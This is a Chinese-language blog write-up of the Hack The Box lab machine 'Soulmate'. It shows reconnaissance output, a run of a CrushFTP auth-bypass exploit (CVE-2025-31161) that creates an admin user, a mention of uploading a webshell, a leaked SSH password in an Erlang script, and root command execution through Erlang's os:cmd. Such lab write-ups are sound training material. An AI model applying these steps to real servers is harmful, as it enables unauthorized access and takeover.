HTB-Soulmate

本文最后更新于 2025年9月14日 晚上

难度:easy,没啥意思。文件上传拿 shell,再利用 Erlang 加载的 OS 模块命令执行

信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─# nmap -sS -sV -A -Pn 10.10.11.86
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-14 19:47 CST
Nmap scan report for 10.10.11.86
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/14%OT=22%CT=1%CU=42823%PV=Y%DS=3%DC=T%G=Y%TM=68C6
OS:AB7A%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10F%TI=Z%CI=Z)SEQ(SP=100
OS:%GCD=1%ISR=10F%TI=Z%CI=Z%TS=A)SEQ(SP=100%GCD=1%ISR=10F%TI=Z%CI=Z%II=I)SE
OS:Q(SP=100%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O2=M542ST1
OS:1NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1=FE
OS:88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5
OS:42NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4
OS:(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=F279%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://soulmate.htb/ -H "Host:FUZZ.soulmate.htb" -fw 4

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://soulmate.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________

ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 364ms]

CVE-2025-31161+文件上传

有一个 ftp 子域名

1
http://ftp.soulmate.htb/WebInterface/login.html

CrushFTP,看网页源代码可以发现版本 11.W.657,找到几个身份验证的 CVE

CVE-2025-31161 可以用

1
This POC will exploit the authbypass vulnerability to create a new user account with Admin level permissions. The Auth Bypass requires the username (target_user) of an existing user on the CrushFTP server. The default is set to crushadmin

执行 poc

1
2
3
4
5
6
7
8
9
└─# python poc.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user butt3rf1y --password adminadmin
[+] Preparing Payloads
[-] Warming up the target
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: butt3rf1y
[*] Password: adminadmin.

在 User Manage 模块发现有几个用户

可以修改用户密码,先改 ben 的,登录进去发现能进行文件上传,上马,马在一段时间后会被删除,所以权限维持动作需要快点

反弹 shell,在 /usr/local/lib/erlang_login 的目录下找到 start.escript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),

io:format("Starting SSH daemon with logging...~n"),

case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},

{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},

{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},

{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},

{auth_methods, "publickey,password"},

{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,

receive
stop -> ok
end.

拿到用户密码,ssh 登录

1
"ben", "HouseH0ldings998"

拿到 userflag

利用 Erlang 服务加载的 os 模块命令执行

查看端口开放情况,发现 2222 端口运行了基于 Erlang 的 SSH 服务

1
2
ben@soulmate:~$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

登录查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
ben@soulmate:~$ ssh ben@localhost -p 2222
ben@localhost's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> help().
** shell internal commands **
b() -- display all variable bindings
e(N) -- repeat the expression in query <N>
f() -- forget all variable bindings
f(X) -- forget the binding of variable X
h() -- history
h(Mod) -- help about module
h(Mod,Func)-- help about function in module
h(Mod,Func,Arity) -- help about function with arity in module
ht(Mod) -- help about a module's types
ht(Mod,Type) -- help about type in module
ht(Mod,Type,Arity) -- help about type with arity in module
hcb(Mod) -- help about a module's callbacks
hcb(Mod,CB) -- help about callback in module
hcb(Mod,CB,Arity) -- help about callback with arity in module
history(N) -- set how many previous commands to keep
results(N) -- set how many previous command results to keep
catch_exception(B) -- how exceptions are handled
v(N) -- use the value of query <N>
rd(R,D) -- define a record
rf() -- remove all record information
rf(R) -- remove record information about R
rl() -- display all record information
rl(R) -- display record information about R
rp(Term) -- display Term using the shell's record information
rr(File) -- read record information from File (wildcards allowed)
rr(F,R) -- read selected record information from file(s)
rr(F,R,O) -- read selected record information with options
lf() -- list locally defined functions
lt() -- list locally defined types
lr() -- list locally defined records
ff() -- forget all locally defined functions
ff({F,A}) -- forget locally defined function named as atom F and arity A
tf() -- forget all locally defined types
tf(T) -- forget locally defined type named as atom T
fl() -- forget all locally defined functions, types and records
save_module(FilePath) -- save all locally defined functions, types and records to a file
bt(Pid) -- stack backtrace for a process
c(Mod) -- compile and load module or file <Mod>
cd(Dir) -- change working directory
flush() -- flush any messages sent to the shell
help() -- help info
h(M) -- module documentation
h(M,F) -- module function documentation
h(M,F,A) -- module function arity documentation
i() -- information about the system
ni() -- information about the networked system
i(X,Y,Z) -- information about pid <X,Y,Z>
l(Module) -- load or reload module
lm() -- load all modified modules
lc([File]) -- compile a list of Erlang modules
ls() -- list files in the current directory
ls(Dir) -- list files in directory <Dir>
m() -- which modules are loaded
m(Mod) -- information about module <Mod>
mm() -- list all modified modules
memory() -- memory allocation information
memory(T) -- memory allocation information of type <T>
nc(File) -- compile and load code in <File> on all nodes
nl(Module) -- load module on all nodes
pid(X,Y,Z) -- convert X,Y,Z to a Pid
pwd() -- print working directory
q() -- quit - shorthand for init:stop()
regs() -- information about registered processes
nregs() -- information about all registered processes
uptime() -- print node uptime
xm(M) -- cross reference check a module
y(File) -- generate a Yecc parser
** commands in module i (interpreter interface) **
ih() -- print help for the i module
true
(ssh_runner@soulmate)2>

运行 m(). 查看加载的模块

加载了 os 模块,OS command and code execution in Erlang and Elixir applications,os 模块运行命令

1
2
(ssh_runner@soulmate)4> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

已经是 root 了,拿 flag 顺手的事


HTB-Soulmate
http://example.com/2025/09/14/HTB-Soulmate/
作者
butt3rf1y
发布于
2025年9月14日
许可协议